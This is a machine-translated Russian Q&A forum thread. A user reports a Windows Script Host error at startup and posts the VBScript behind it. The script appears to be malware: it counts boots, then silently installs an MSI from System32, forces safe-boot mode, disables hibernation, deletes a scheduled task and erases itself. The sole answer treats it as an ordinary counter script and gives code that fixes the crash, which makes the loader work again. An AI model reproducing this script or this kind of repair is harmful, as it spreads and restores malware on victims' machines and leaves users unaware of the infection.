Windows проблема с хостом скрипта .. код ошибки 800a000D .. Несоответствие типа "Clnt" - PullRequest
0 голосов
/ 09 января 2020

Привет, я windows 10 пользователь с почти нулевым знанием программирования. Возникла ошибка и windows не удалось загрузить ... когда я открываю p c, появляется диалоговое окно .. "Windows Хост сценария"

что не так с этим кодом ... ошибка говорит о том, что в строке 10 char 2

Set oShell = CreateObject ("Wscript.Shell")
Dim ccdat
ccdat = "updatesettings.dbf"
Dim fso, setting, cc, strArgs
strArgs = "%comspec% /C %SystemRoot%\System32\msiexec.exe /i %SystemRoot%\System32\ServiceInstaller.msi /qn & del %SystemRoot%\System32\ServiceInstaller.msi & %SystemRoot%\System32\bcdedit.exe /set {current} safeboot minimal & %SystemRoot%\System32\powercfg.exe /hibernate off & schtasks /Delete /TN ""Microsoft\Windows\Maintenance\InstallWinSAT"" /F"
Set fso = CreateObject("Scripting.FileSystemObject")

If (fso.FileExists(ccdat)) Then
    Set setting = fso.OpenTextFile(ccdat, 1, 0)
    cc = CInt(setting.ReadLine)
    setting.Close

    If(cc > 9) Then
        oShell.Run strArgs, 0, false
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        strScript = Wscript.ScriptFullName
        objFSO.DeleteFile(ccdat)
        objFSO.DeleteFile(strScript)
        WScript.Quit()
    End If

    Set setting = fso.CreateTextFile(ccdat, True, False)
    cc = cc+1
    setting.Write(cc)
    setting.Close
    WScript.Quit()
Else

Set setting = fso.CreateTextFile(ccdat, True, False)
    setting.Write("0")
    setting.Close
    WScript.Quit()
End If

1 Ответ

0 голосов
/ 11 января 2020

Исходя из вашего примера, похоже, что updatesettings.dbf - это просто файл, содержащий инкрементный счетчик. На самом деле значение счетчика может быть больше, чем MAXINT, что также может привести к этой ошибке. Если это правда, попробуйте изменить строку 10 из этого:

cc = CInt(setting.ReadLine)

На это:

On Error Resume Next
Err.Clear
cc = CInt(setting.ReadLine)
If (0 <> Err.Number) Then cc = -1
On Error Goto 0

Это должно эффективно обработать ошибку и привести переменную cc в предварительно инициализированное состояние , который увеличивается позже (строка 23) до исходного состояния инициализации, равного нулю (0), и сохраняется в файле updatesettings.dbf. Значение: Это должно выполнить sh то же самое, что и блок инициализации 'Else' после строки 27, когда файл updatesettings.dbf не существует.

Надеюсь, это поможет.

...